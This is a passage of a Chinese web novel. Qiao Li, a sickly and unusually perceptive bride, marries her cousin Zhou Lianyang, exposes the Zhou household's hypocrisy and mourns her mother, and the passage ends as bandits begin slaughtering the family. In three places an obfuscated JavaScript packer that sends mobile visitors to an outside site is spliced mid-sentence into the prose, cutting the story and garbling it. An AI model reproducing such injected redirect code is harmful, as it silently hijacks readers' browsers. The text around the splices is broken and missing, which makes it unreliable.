倪何惠看着多宝阁上摆着的一架象牙观音像，沉默良久，才叹一口气，对奶嬷嬷道：“不聋不哑，不做家翁。若不是今后就指着大老爷，我又何必掺一脚，对一个小丫头喊打喊杀？” 奶嬷嬷知道她话中深意，一边拿美人锤给老太太捶腿，一边道：“乔姑娘看着是个好的，虽然久病，观面相未必没有后福。” “她一个小人家家，并不重要，重要的是二少爷。” “二少爷脾气拧，成了家，慢慢也明白大太太的苦心。” “苦心？”倪何惠冷笑。“屋里就咱们俩，你别和我打马虎眼。那说不定是全桐城最小的童生。换了你，你想得开？” “想不开，又能怎么办？”奶嬷嬷丹琳也叹气。“二少爷毕竟没下场……没下场，也能尽早断了念想。” 那头周老太太与自家奶嬷嬷说私房话，这头乔璃又拜了一回周大太太。许是见天色已晚，大太太不过叮嘱关照几句乔璃的身体，就放她回客院。 扶她出来的丫鬟红姝也是适才倒茶侍奉的，年纪不很大，细脸儿，水蛇腰，梳着辫子，别着一支金簪。 乔璃扶着她的手，指尖贴着脉门，又瞧了瞧红姝的眉眼，敛眉低道：“我观屋中设了佛龛，一尘不染，又听闻太太素来虔诚，礼佛持斋，宅心仁厚。太太是善心人，未来能侍奉左右，我欢喜不已。” “姑娘说得是。”红姝应道。她说话声音细，听着略有些中气不足似的。“太太是……善心人。” 院外十步远，红姝才松开纤手，末了又深深一福，做足了礼数。周大太太院子里的仆人大多如此，与周大少爷院子里的人很是不同。 好一个善心人。乔璃最后看了她一眼，才往自己的院子走。也是她今日身体稍康，经得住走动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615124|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，否则平日多卧床休息，并没有挪动请安的力气，自然也难看出来周家藏着这么多门道。 待回了自家院子，又是一种风格，秀云迫不及待地把她迎进来，林嬷嬷则把季嬷嬷巧妙地隔开。进了母亲在的房舍，周继纯也一副刚回来不久的模样，抱着乔璃，心肝儿肉啊地哭了一通。 等这股劲发散了，乔璃才在炕沿的另一边落了座，秀云早端了每日必喝的汤药，还有甜口的蜜饯在一旁等着。她闷一碗，还有几碗等着，少女也不叫苦，蜜饯只吃一颗，把药慢吞吞地全喝了。 周继纯瞧着她，只觉得女儿再没有不贴心的，当下又一阵垂泪：“你年纪小小，才学不差男子，如此懂事，有时候娘倒期盼你哭一哭。心里的苦总是憋着，娘怕你憋出大病。” “娘。”乔璃放下碗。“母亲冤枉了我，我不觉得苦。今日脸上带笑，是真感到可乐。” “你去请安，又能碰见什么乐子？” “关于莲二爷的事。都说莲二爷自甘堕落，断了四书五经，去学洋人的东西。” 周继纯立眉怒目：“这话断不能信！你莲哥哥自小聪慧，便是略微移了性情，大了自然会改。” 她说着说着，又气又急，一手捂着额头，一手捂着心口，缓了半晌，才道：“也不知是哪个没心肝的，在你小人家面前乱说嘴。” “母亲莫急，这种话，我从不往心里去。” “娘还不知道你的性格？总怕你太憨直。嫁回周家，已是娘能给你找到的最好的亲事了。周家素重清名，媳妇三年无所出才纳妾，以你与莲儿的年纪，五年七年也不算久，有老太爷、老太太护着，总比旁人好。” 周继纯顿了一顿，方继续道：“……娘的身体，是真不成了。” 乔璃伸手握住母亲冰凉凉白中泛青的手，宽慰几句，拜别回房。 等回到自己的卧房，乔璃将脸上的笑慢慢敛了，对着梳妆镜按揉面颊的穴位。整日动用双颊的肌肉，虽然不累，但也乏得慌。 她看着镜子里的清水芙蓉面，不笑的时候，黑压压的睫毛下是更鸦黑的眼，总是静的。 最开始她不懂自己与旁人不一样，一个女孩，知晓太多，太镇静过分了，四平八稳的，不仅欠可爱[1]，有时要被称为“疯子”，称为“巫”了。 等开始读书，读诗经、史书，庄老，读到“庄周梦蝶”四字，才渐渐明白。梦蝶非我，她还保留作为蝴蝶时的碎片，用得却是庄周的身体。 乔璃知道很多东西——除人心规矩外，她尤擅医，且识谎。别人嘴里说的，心里想的，若是有分歧，一望便知。 可小女孩的话，没有人会信。这两年，她替母亲开了药方，写了保养的法子，周继纯只是笑，不肯当回事。 人都是有情绪的，唯独她不懂。不懂就要学，只是乔家总鸡飞狗跳，也见不着几个寻常人，她只练会了笑。来了周家不久，就见识到许多不同的情绪，表面一套、背后一套，是有意思的。 周家有个谜，母亲不懂，也不必要懂，但周家人仿佛想要乔璃懂，却不敢明着说，殊不知她们试图掩藏的东西，在她眼前与一本摊开的书也别无二致。 最有意思的，是周家二少爷。她大抵能猜到别人的情绪，却摸不准他的。 思绪一发散，乔璃仿佛又闻到他身上那略带一点墨香的书卷气。那板正的西装，亮而倔强的杏眼，挺直又脆弱的背脊，都与周家不甚谐和。 乔璃直视镜子。我，是谁呢？这也是个谜。但潜意识告诉她，不必担心谜底。该想起来的时候就会想起来。她看着自己的倒影。不必担心，慢慢来便是。 她至少还记得一件事——她是乔璃。 因此，她确信自己不必担心。 5. 肆 白马非马 乔璃独自坐在新房里。她已坐着等了很久，并且十分疲惫了。 黄昏时她坐着喜轿绕周宅一周，就算摆过仪仗。 周家二少爷的婚礼进行得很低调，新娘跨火盆、新郎挑盖头，最后两人对坐，行合卺礼，婚礼就算是正式落成。 新郎在外头喝自己的喜酒，给亲族长辈行礼打招呼。新娘按照旧俗，独自待在新房“坐财”。 前院声音嘈杂，哪怕是简约的婚礼，也毕竟是喜事。周老太爷惯例请了戏班，咿呀呀地唱着，鼓乐萧笛飘得很远。 大床上铺着喜被，喜被下散了许多枣子花生。乔璃歪在引枕上，坐着坐着，索性躺下来，从后背摸了两个花生，掰开壳子放进嘴里慢慢嚼。 她闭上眼睛，眼前划过一张张面孔，有周家人，也有乔家人。短视、贪婪、懦弱、奸猾。最后是母亲的脸——对死亡的畏惧，以及无尽的孤独。 而留给乔璃的，总是疲惫。 她的大脑和心灵从不觉得疲惫，它们运转的时候比涂了润滑油的齿轮还要灵敏。大脑黑暗的深处有海量的知识与记忆，目前她所知晓的，如同被冲上沙滩的漂浮木，只是冰山一角。 看进眼中的事被自动分解成一小块一小块的思绪，思绪继续被分解，直到露出本来的面目。 思考给身体带来可怕的消耗，没有药物医治这种消耗。这是一种无解的、无药可医，也没有大夫诊断得出来的疾病，被误认为胎中病。乔璃医者自医，唯一的法子，就是常年地进补，钱如流水地补。唯一的好处，就是补得再多，也不至于补坏。 “妹妹。” 一阵带风的脚步声推开门，带来夜间湿气、烟火气和脂粉香混合成的雾气，带来喜气、桐树花和少年的呼吸。 他进来，脱掉混杂的烟臭，带到床边的，就只剩下潮湿而干净的气息。 “莲哥哥。”她在一种放松而慵懒的状态下回应他的招呼。 少年轻笑：“妹妹睡着了？快醒醒，今夜是我们的好日子呢。” 她坐起来，周莲泱连忙在她腰下垫了一个引枕。他年轻的脸上浮着无比喜兴快乐的神情。 今夜是他的好日子，他终于成家了。一个男人，有了妻子，就代表真正的长大。他瞧着乔家表妹施过薄粉、在灯下显得红润健康的脸，心中一阵一阵涌出满足。 “表哥，你在想什么？” “妹妹，我在想，咱们是一家人了。”周莲泱鼓起勇气，握住她放在身前的手。 乔璃定定瞧了他许久：“表哥，我的身体，今夜是不能圆房的。” 她看见他的耳朵烧热了，“呼”一声，像能滴出血来。周家二少爷长得一副好模样，一身白皮，又不似洋鬼子白得跟石膏像似的，而是白里透着莹润的亮，脸一红，也像能滴出血来：“我，我知道的，妹妹！” 他的尾音几乎含着一点嗔怪了，话还没说完，就看见自己娇花似的乔妹妹一掀衣摆，不知怎么就近近凑到跟前。 两人鼻尖贴着鼻尖，她黑压压睫毛下的眼睛紧紧盯着他，嘴角勾着，伸手摸了摸他的脸：“表哥的脸好红。” 周莲泱耳朵里“轰”一下，跟炸开烟花似的。躲又没处躲，动，也不知道怎么动。 乔璃的指尖又往上移，轻飘飘的，像是蝴蝶的翅膀，碰到哪里，哪里就点点星星的痒。指尖顺着他细细长长的眼线慢慢地走，走成两汪弯弯的横波。 她是在戏弄他吗？可这种戏弄，也怪小孩子气的。周莲泱不自觉地笑，比旁人都生得好看的眼睛波波漾漾的。他本就有些男生女相的清秀，再配一双会说话的眼睛，将来不知会勾走多少人的魂儿。 她摸他的时候，他也贪瞧着她。瘦瘦的一个姑娘，几乎藏进了他的怀里，虽然瘦，但身板生得停匀，还带着小女孩的柔软脆弱。他忍不住环起双臂，试着去吻她梳得比平日更繁复可爱的发髻。 她顺从地依到他肩膀里，小巧玲珑的下巴抵着他的颈窝，皮肤相触的地方软溶溶、暖融融的，温度绵延进心头。 周莲泱轻轻侧过脸，想吻乔璃的面颊——不是出于欲，而是一种近于母□□的反应。 他想有个家，有真正的家人，因为太过快乐，以至于忘乎所以：“太太叮嘱过我，其实不用叮嘱，今后只有我照顾妹妹了，我会好好照顾你。” 话音刚落，他自己都觉得不对，手心脚心一忽儿冷起来，刚凉下去的脸，又红通通的——这回不是害羞，而是愧窘了。 “我娘是要死了。”乔璃自他怀里抬起头，声音是一如既往的平静。“不错，我娘死了，爹靠不住，只有表哥一人在乎我，而我能在乎的，也就只有表哥一人。” “这样再称表哥的心不过，对不对？” 周莲泱的心一下紧起来，心尖被狠掐似的止不住抽疼，急的眼角泛泪：“不是——决不是这样，妹妹误会我了！妹妹真的误会我了！” 少女的手还盘桓在他的颈子周围，微凉的指尖点在颈后，他感觉来，就跟寒冰似的：“表哥，我以前一直想不通，为什么你我二人的婚事会如此顺利。如今想来，反骨叛逆前途无望的庶孽，配一个无依无靠孤苦伶仃的表小姐，太太做梦都要笑醒了吧？” 周莲泱的心不再暖洋洋的了，整个人如坠冰窟，脸一霎刷白刷白，呆瞪瞪地看着乔璃。 她捧着他的脸，在少年哀恳的视线中慢悠悠地继续道，“表哥的童生试，不是不想下场，而是太太不许你下场。她怎么会允许一个偏房贱生，抓住越过自己亲子的机会？所以把表哥扔出国，改头换面，投了洋人的靠。未来不至于没有营生，便能堵老爷的嘴。” 说了这么长的一通，乔璃微微有些气喘，可眼里头次闪出近乎兴奋的光，一张粉面也因气血翻腾，润盈盈的如娇艳盛开的夹竹桃——这桃花被对面的人看在眼里，恐怕是一种气味甘甜的剧毒了。 她还靠着周莲泱，可他颤抖得厉害，那么猛烈地发着抖，使她捧不住他的脸。 少年的背弓起来，鼻息呼哧呼哧地喘，垂在身侧的双手紧紧攥拳。莲二爷虽然不是一个武人，但练过弓，马也骑得，力气不比半大小子差。 乔璃看在眼里，一时期待他会怎么做，便再往摇摇欲坠的积木上垒了一块砝码：“我没有误会表哥。也许以前不知道，但留洋回来后，表哥一定把所有事都弄清楚了，知晓自己不是嫡出，旁人不说，你也瞒着我，瞒着我娘。若知你非嫡出，我娘也绝不会选你做我未来的依靠。” 周莲泱猛地抽动一下，乔璃差点以为他要动手了。 但他只是翻过手背，去抹眼里淌出来的泪。 不是他，乔璃还不知道，有人哭起来，泪真是如“断了线的珠子”般往下掉。一双标致的杏眼红得如揉碎的蔷薇花似的，眼睫扑闪的全是痛煞了人的委屈。 男儿有泪不轻弹，他哭得很小声，噎着憋着，底色澄净的嗓音含着沙，楚楚可怜的。 一股奇怪的兴意跑过乔璃的心。 自开智后，长久地处于乏味的人群与身体的病痛，周遭的一切从不能让她觉得有意思，她迫切地需要一个维持兴趣的游戏。 有那么一瞬间，她忽然感到肯定，自己一直在寻找的，就是眼前这个人。 这种感觉就跟喝醉酒一样，好像脑子是清醒的，其实控制不住自己。她控制不住自己用手帮他擦眼泪，擦不干净，索性噘起嘴轻轻的亲。 这一亲倒又吓周莲泱一跳，眼泪一时断了，呆呆地看着她，眼神像是怕，又像是认命了。 “太太不是我的亲娘。”少年拿手背又揉了一下眼睛，眼圈还是红红的，“我娘……我娘曾是太太的陪嫁丫鬟，给老爷生了我，没过多久就去了。太太那时也失了一个孩子，便把我当亲子一样养着。两年前，并不是太太不许我下场，是我自己听墙角，得知身世，一时忍不过去，做了冲动的顶撞。” “老爷生了好大的气，差点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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少年垂下头，乔璃伸出手去揽他，让他把额角抵在自己肩膀，语气柔和：“你知道太太院子里的红姝，和大少爷院里的喜儿，全有孕了么？周家重名声，许出三年无出才纳妾的承诺，娶回门当户对的闺秀，等她们死心塌地地贴补夫家后，又悄悄养小的。就这样，老太太还和我说……” 话未说完，乔璃的嘴就被周莲泱捂住了，他一边捂一边咬牙：“你……你可是疯了？这种话也敢说出来……” 少女眉眼弯弯地笑：“因为是表哥，我才敢说呀……” 背后大肆指点家中长辈，简直大逆不道有悖人伦。周莲泱一直以为自己是最叛逆的，没想到跟眼前的女孩比，简直小巫见大巫。 瞧着她得意洋洋的表情，他真是又气、又怕、又恼，又有一种小猫儿并肩偷鱼吃的惊险的快乐。 家里并非表面那般光鲜文雅，留洋之后他也有所感受，但年岁毕竟太小：“这些事我都不知道，你到底是怎么看出来的？” 乔璃一步一步试探着他的底线，得到的全是最好的结果，话头转到这里，她也不多隐瞒：“我不知道。” 不用说话，都能看到少年脑门上大大的问号。乔璃唇角一扬：“表哥相信这世上有生而知之者吗？我瞧每个人说话的表情，就能够自然而然地分辨对方是不是说谎，还有些望闻问切的本事，给人看病也使得。” “原来如此。”周莲泱神色郑重地看着她，“妹妹放心，这事绝不会有第二个人知道。” 乔璃：“……表哥，你就信了？” “藏有活佛，我朝崇长生天，在欧罗巴游学时，我也见过清教异事，自然也可以有生而宿慧之人。”周莲泱偏头想想，又怀疑地看回来，“我发誓再没有瞒妹妹的事，妹妹也不能骗我！” “当然。”乔璃忙攥住他的手，“表哥，我也发誓，今后决不瞒骗你。” 得了承诺，周莲泱复又开心地笑了。他一会哭，一会笑，笑靥上还挂着方才吓出来的泪珠，眼又是清亮亮的两汪湖。 乔璃说得累，周莲泱是情绪起伏得累，两人对视一眼，他不好意思地别开脸，觉得洞房夜大大失了男子气概。 可男子气概比不上昏昏欲睡的表妹，周莲泱绞了热手巾，给自家表妹兼新婚妻子快快地擦了手和脸，两人相拥在红绸被里，很快就沉入黑甜乡了。 6. 伍 山雨欲来 统宣二年不是一个好年。冬冷，夏又格外热，太阳一出来，就毒恶地投下干巴又刺目的白光，晃乱人的眼。 周莲泱从正房内出来，太太苦夏，身体不适，只在院外匆匆请安。天热，前阵儿还开得红红火火在枝头怒放的月季也打了蔫，垂头丧气，枝条像病了似的，垂在花瓣的阴影里。 路面有早起的小丫鬟洒过一边水，这下又?干了，一走鞋就挂尘。院子里的假山也灰扑扑的，没精打采、懒洋洋地站在那里。 周莲泱取出帕子擦擦头上的汗，顺着回廊去小院的路，恰好经过一处空院，两月前，是周大姑奶奶的停灵之室 大婚那日喜庆的披红挂金，喜气妆点满院繁华，不过一月有余，周大姑奶奶就去了，院子里未撤下的红，很快换成寡素的白。 那么多的白，和四月的阴雨连接起来，结成一片愁闷悲戚的灰云，沉沉地压在周家宅邸上方。 乔璃撑着病体为亡母摔丧驾灵，周莲泱也要从旁协助丧事事宜。请人择日，停灵，开丧，送讣闻，请了道士设坛念经，按期做好事，做到七七为止[1]——明明是周家的女儿，尸骨却要埋到乔家祖坟。 四十九日一过，周莲泱才第二次见乔家父亲，据说周家姑奶奶死后刚过七日，对方就把爱妾扶正，赶着做当家主母了。 周继纯出嫁日久，合家大小，远近亲友，都无与之特别相熟之人。周老太爷自持庄重，又是白发人送黑发人，哀恸不便形于色。于是，只有乔璃一个，在灵前哀哀欲绝。 折腾完殓殡送丧之礼，乔璃到底发了一场高热，一度人事不省，休养半月有余，尚才恢复半数元气。 回了小院，周莲泱先问过秀云，得知乔璃还在睡，便浣手进入小书房。一看西洋钟，才刚过八点。备早饭，乔璃又不知何时起，摊开书，瞧那些蚂蚁爬似的拉丁文，在椅子上又坐不住。 四书五经一年前便已放弃了，叠在桌角，打扫的婢女不用心，落了薄薄一层灰。 他如今随手翻看的也只是些诸如三言二拍的闲书。放在以前，冯犹龙[2]的书若大喇喇摆在桌案上，被父亲瞧见，说不定要打十几个手板。 闲书中，被翻阅摩挲得最多的，是一本脂砚斋评本的《红楼梦》。 周莲泱把书贴在胸口。自从得知自己要娶乔家表妹，他就不可自拔地一遍遍翻阅这本书，仿佛自己和表妹就是那书中人。乔璃与林妹妹一样天生聪慧，体弱多病，他出身稍逊，性格却不至于似贾宝玉那般多情颓废。 他一边自得地想着，一边进了院子，往东间走，忽然听到屋角边有喁喁的说话声。那边是太太新拨来的两个小丫鬟的下人房。周莲泱便停住脚步，听里面说些什么。 只听见有个脆生的声音说道：“今月的月钱拨得早哩，我进来不过五个月，那分钱的妈妈，每次对我都臊眉耷眼的，没一次痛快。” 又一个人带着笑音说：“我们这些伺候人的，每个月可不就只有这点子指望？总算能买点北方的点心，你可开心了？多亏姑娘嫁进来……” 周莲泱听出来那言下之意：多亏乔家姑娘嫁进来，大姑奶奶与外祖累积的嫁妆充盈了中馈，家里新换了不少陈设摆件，大哥院里又添一个千娇百媚的丫鬟，下人打牌、吃酒，嘴里念叨着可算有钱了…… 他咣当一声推开门，秀气的眉紧皱在一起，他素日随和，尤其照顾年纪小的丫鬟们，恐怕是第一次发这么大火：“你们不好好伺候姑娘，在这里嚼什么舌？妄议主子，就算把你们打发了，太太也不会说我什么！” 先说话的是从北边逃难过来、被父兄一袋米卖了的丫鬟玲云，后答话的是大玲云两岁的周家家生子臻云，两人先是被骂得发愣，臻云脑子里还在转着转圜的话语，玲云那边已“扑通”一声跪下，对着周莲泱狠命磕起头来：“二爷，莲二爷，求求你，别卖了我……别卖了玲云……” 玲云不管不顾磕出一头青痕，眼见就要出血，一道低哑的声音从门边传来：“玲云，你别磕了，快起来。” 周莲泱回头看时，乔璃已经走了进来。她穿着一条天青色的衣裙，上半身是轻灰的夹袄，漆黑的长发梳着一个低低的圆梳髻，面无粉饰，只唇珠点红，增一分气色罢了。 “这是怎么了？”她先让跪在地上的玲云起来，转过头，询问周莲泱。 “她说……”刚说了两个字，周莲泱就咬住舌尖：这事，说出来受伤害最深的还是乔璃。 一旁的臻云对上乔家姑娘温润清蒙的眼，不知为何打了个寒颤，跪下来，伏在地上磕头：“是奴婢在背后乱嚼大爷院下人的舌，还牵连玲云，实在该死。奴婢知错，奴婢知错，只求姑娘饶了玲云这一回，实在跟她没关系的。” “好了，不是什么大事。”乔璃闻言顿时失了兴趣，“表哥要罚，罚两个月月钱也就罢了。” 周莲泱连忙跟上她的脚步，一只手托着她的手，另一只手给她紧了紧肩上的披风：“下人最会摸主家脾气，我屋子里气氛素来宽和，不罚她们不知道厉害呢。表妹，你怎么出来了？” “睡醒了，就出来走走。” “秀云呢？” “叫早食去了。天气热，我让她多点了一道你爱吃的笋脯，配新做的茯苓饼正好。” 周莲泱微微偏头，抿下唇畔的笑，接道：“昨日听人说，大厨房进了新鲜的莴苣，表妹怕也是吃烦了燕窝粥，不如叫她们再酱个莴苣来？” “我听表哥的。” 两人用了早食，浣手漱口，相坐而笑。 “外面这日头，上午也没法子出门了，不如去书房，我给妹妹弹钢琴听？” 刚问完，周莲泱就想抽自己一巴掌。热孝期间忌娱乐，他光顾着陪妹妹茹素，把别的忘了个一干二净。 “无事，表哥只是想逗我欢心。”乔璃对着他先笑了一笑，又道，“除了钢琴，听说表哥还会踩洋人教堂的管风琴？” “只学过皮毛而已，有时他们的‘礼拜日’会邀我过去唱诗，去得多了，就试了试。” 涉及熟悉的话题，周莲泱也起了谈兴：“洋人的乐器，诸如钢琴、管风琴一类，大而笨重，然而音色明亮朴硬，手感奇妙，与我们的乐器大相径庭，甚是有趣。” “但比起钢琴，表哥还是更喜欢古琴、萧、笙一类？” 面前的少女歪头瞧他，手里转着一枚不知从哪里捡来的竹叶。 一阵凉爽的清风带着松竹的气息拂过，拂动了眼前人额边细碎的乌发，她伸手将一缕发别入耳后，眼睛闪烁着笑意和一点看穿人心的狡黠。 周莲泱盯着那枚绿得像宝石一样的竹叶，不知为何，心如擂鼓，竟怯于直视她的眼：“……我先学得琴萧，后因着老太爷的爱好，耳熏目染对昆曲也颇有兴趣，又学了笙。老爷觉得戏子都是下九流的贱东西，带坏了我，决不许我再接触。” “如果不是在孝期……表哥可愿为我唱一段？我只记得一句词，好像是：小姐小姐多丰采，君瑞君瑞大雅才。风流不用千金买，月移花影玉人来……” “是西厢记的《拷红》。”周莲泱脱口而出，伸手就去捂她的嘴，“这戏……是上不得台面的杂戏，你小小年纪，怎地听过这种曲子？” 少女眨眨眼，闷闷地回答：“我也不记得在那里听到过了，只是觉得好听。” 周莲泱这才发现自己在干什么，忙抽回手，装出一副若无其事的模样，又教训两句。其实他自己都不知自己在说些什么，只有手心湿湿软软的触感鲜明至极，久久不散。 满足了自己的好奇心，乔璃不再逼迫脸臊得通红的莲二爷，伸手轻扯他的袖子：“表哥……那个你带来了吗？” 他心知肚明她要什么，故意背手侧身，“什么？我不知道妹妹在说什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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乔璃因为这个不太喜欢的小名皱了皱鼻子：“母亲给我留了些体己，若是能去海市参加交易，购入抛售，便能换来几十倍、上百倍的银钱。” “赚了银钱之后呢？从商？虽然我家在官场上没什么人了，但毕竟是书香世家，若我从商，恐怕老爷太太都不会同意。” “并非从商，只是……”乔璃也有些愣住了。对了，她想做什么呢？ 碎片样的记忆里，找不出一个答案，但她能感觉到有一簇火，被埋藏、被压抑在孱弱的灵魂深处。乔璃依稀觉得，那并不是什么伟大、光明或者值得推崇的东西，而是……一种新奇的刺激，一种从未见过的有趣，让她想要涉足其中。 就像大婚那日撕开周莲泱的外壳一样，她伸出手，想要在这世界上狠狠撕扯一番。 ……以对抗心里这无边无际、无穷无尽的无聊之感。 “世道不会一直安稳下去。”乔璃喃喃。“很快就要起风了。” “尽说我听不懂的话。”周莲泱刮了一下少女的脸，“还是先把身子骨养好吧，乖囡。” 乔璃转脸，轻瞪他一眼。囡囡、阿囡，乖囡，莲二爷找到个乱叫小名的新乐子。 这本是母亲为了养活她，给她取的小名。连乔父也没告诉，只在临终前握着周莲泱的手，将女儿托付给未来得及熟悉起来的外甥。 阿囡就托给你了，你要好好照顾她。 周继纯慢慢地合上眼睛。 “士之耽兮，尤可脱也，女之耽兮，不可脱也”。 她的心早已脱离乔家，脱离乔翊之，却亦无处可去。临到临头，她还是甩不脱周家一脉相承的偏执薄幸。比起吃药治病、撑一口气好好活，她选择将女儿留在表面光鲜靓丽，内里糟烂污浊的娘家。 这当然不是个好办法，她的女儿，还那么小，可自己已没有心力再管她的事了。 她将所有嫁妆带回来、填入公中，就是换得一年，两年，只要能撑到乔璃及笄，也算尽了拳拳爱护之意。 但周继纯没想到，也不可能想到，她离世方过三月，周家就倒了。 7. 陆 飞来横祸 有道是巢湖一熟，豫皖皆足，有千里淮河，水源甚旺。可南宋以降，天灾日渐频繁，其中水害尤为显著。统宣二年，淮河流域又发灾害，五月前久旱无雨，到了初五，蛟水骤发[1]。 时及七月，大雨倾盆已持续整整两月，数州出现灾民，流离失所。灾民总约百万口，或东迁江皖，或西奔豫南，令皖北数十里炊烟断绝。 连雨大水十月始退，田多荒废，难以复耕。皖地百姓流离失所，残庄饿殍相望于道，境况惨不忍睹。 于此同时，京城朝廷与州府官僚依然沉溺于纸醉金迷之中。国库空虚，拨出来的一点本可救济民生的赈灾款项与粮仓陈谷，在层层盘剥与巧取豪夺下，早已消失得无影无踪。 需知皖北民风向来犷悍，州县久遭天灾，无业游民便难保不流为盗寇。盗寇便罢，聚得多了，便易生事。 七月下旬，皖北各地物价飞涨，连带怀远内也米珠薪桂。怀远县中，路西有一座酒楼，匾额上写着“刘家楼”，然而刘家上下十来口老幼已尽死家中，酒楼被县中泼皮赖子与逃难贼寇所占据。 楼中有一中年人，昂然而坐，穿银戴金，然而相貌不似皖地中人，形容凶恶，俗态不堪。 此人名叫陈老八，正是游勇散兵的领头羊，来路却不是普通的泼皮可比。 这陈老八，曾是干越天地会众匪中的老匪头，奸狡圆滑，多次参与反迦佛国朝廷之运动。 当时天地会被官兵围剿，陈老八不敌，后流亡至徽州，恰遇一徽商寻觅门客勇士，便把他收留在府内。谁料此次淮河大洪，陈老八旧性复燃，聚集一帮泼皮混混先将徽商家中劫掠一空，再摇旗起事，收拢百余“有义军”，南下抢劫军械马匹。 从怀远始，途径淮南、长丰、曲城，陈老八众流窜数州县，势颇猖獗，裹胁复增，“有义军”居然已达千余人。然而到了肥西一带，匪军路过郑家集，被守株待兔的府军打了个正着。 陈老八一行仓皇流窜，改扮行装，逃入舒城，又继续南下躲避追捕。离了舒城，一同出来的党匪仅剩几十余人，剃了头，“有义军”改头换面，变成逃难的行脚僧人。 皖北旱涝不休，南地只有旱热，民情尚稳。陈老八率人沿路劫抢行商，打点细软，由岔路上船，走水路进了桐城。 盗匪行事，大多是无法无天的。然而陈老八在加入天地会之前，便是干越一豪商家中有腿脚的马夫，见惯大宅内的勾心斗角。劫多了乡绅富户，逞勇斗狠之余，又藏一份狷狂人没有的思虑城府。 就拿劫掠富户来说，陈老八进了桐城，先去那聚多了各路江湖行脚的便宜茶楼，打听城内富户分布。 桐城素有文名，但少奢靡，多是文人书生，以及一些离朝回乡的官宦。只有那城西周家，传承百年，底蕴深厚，想来家财最丰。 打听完心中想知之事，陈老八又摸透了桐城县衙，见那些差役油滑惫赖，多是无用草包，便更放下心来。 底下人又挑了几门商户，但皆不如周家豪富。陈老八记念着周家穿着比普通闺秀还气派富贵的丫鬟，心中想到：“想来桐城就这一条大鱼，若是错过，怕是有许多后悔。外敌难破，然而这豪门定非铁板一块，若是寻得内鬼，以自己三寸不烂之舌，劫了这周家，还不是手拿把掐的好事？” 陈老八与底下人定了计策，几番打听下，说得周家有一从北地逃亡而来的听差杜山，人高马大，亦是悍勇斗狠之人，周家将他招进去，也是看中他的拳脚功夫。 然而负责招收仆从的管家懒怠详查，不知杜山虽然功夫好，身上却早背过几条人命，正是那嗜酒如命、见财眼开的真小人。 一日，趁杜山出来买酒，陈老八悄悄率手下人前去闹事，又大摇大摆出来解围。那杜山不欲生事毁了差事，强自隐忍，陈老八雪中送炭，又出钱请酒，两人一见如故，不消两日，杜山便将他引为知己。 又过两天，陈老八摸透了杜山的本性，便隐晦提议起事。杜山起先自然推拒，甚至拂袖而去，然而架不住陈老八屡屡请酒，几次三番下，他也渐渐对周家财富垂涎起来。 陈老八趁热打铁道：“咱只说如果顺利，吞了周家财，马上把银子押到江北舒城，在那儿还有俺们的‘有义军’接应。要是没有得手的话，也不必在意，那府兵尽是草包怂蛋，没有什么办法的。” 且说陈老八与杜山定了灭门之计，本想再过数日光景，等那杜山将周家内外院打听详细。岂料皖北久雨不歇，南下逃亡的流民大量南下，涌入桐城，滋生许多是非。 县衙解决流民尚且力有不及，夜间巡逻更是松散乏力。陈老八闻听，顿觉“天助我也”，遂联系杜山，择一月黑风高的暑夜，果断行事。 周家格局非常，与正街隔着几条小巷，闹中取静，但也远了街坊邻居。陈老八按着定好的暗号敲门，杜山应声打开角门，他这几日谦恭低眉，酒也断了，只为少生事端，不引人注意。开门之前，守门的两个家生憨仆，已被他一刀抹了脖子。 陈老八进了大门，见周家果然气派不小，哪怕夜色深沉，也能看得出宫灯银花，处处汉玉白金。匪头胸中贪欲更甚，抽出腰间朴刀，刀指大院，竟然激荡出许多豪情：“天杀的泼贱贼，俺在皖北被洪灾折腾得家破人亡，他们倒是喝酒吃大肉来！今日咱们就替天行道，把那堆臭钱财抢回来，叫他们知道活该！” 霎时间，匪众高声应和，蜂拥而入，不管不顾，举刀便砍。正屋卧房内，周老太爷正要歇息，便听到外头骤然传来惊慌失措的呼喊和奔跑声。不等回神，便有冲得快的匪众在杜山的带领下闯入大堂。 灯光下，周老太爷披着中衣，惊怒不已。可他年过花甲，只是瘦小老人，护着他的忠仆被一刀砍死，下一刀就扎穿了周自谨的胸膛。 陈老八谙熟“擒贼先擒王”的道理，一面派人闯正屋搜刮金银器皿珍贵古董，一面派人去寻做得了主的男丁杀死了事。 盗匪往前，碰上闻讯出来抵抗的男仆武夫，数人倒在血泊之中。有杜山指路，陈老八冷哼一声，点燃了柴房。夜间暑热，时有夜风，风助火势，将周家人烧成了个无头苍蝇。 前院已杀得遍地是血，后院尚还平静。 乔璃觉浅，若是睡深了，总觉得胸口堵着什么、喘不过气。也许是天气的原因，闷沉沉地热了整日，太阳倦在层云里，将雨不雨，只是闷。夜里睡着，口鼻像有一块湿甸甸的棉布罩着，哪怕呼吸浅浅，仍捂得难受。 周莲泱与她隔着一条薄薄的绸被睡在外侧，方便夜半起夜，照顾乔璃的需求。他沉在梦里无知无觉，乔璃却睡得断断续续，隐约听见嘈杂的动静，像野狗的狂吠，又似鬼哭，飘飘地夹了些杂音。她在梦里仔细听，恍若是…… “杀人了！”“走水了！”“救命！饶命！” 乔璃猛地睁开眼，身体一阵抖嗦，心口传来一种撕裂般的咳意，捂着嘴喘得停不下来。周莲泱半梦半醒，下意识掀开被子，去给她倒水，无意间磕翻茶杯，被冷茶泼了一脚，冷得一跳，怪道：“茶怎是冷的？” 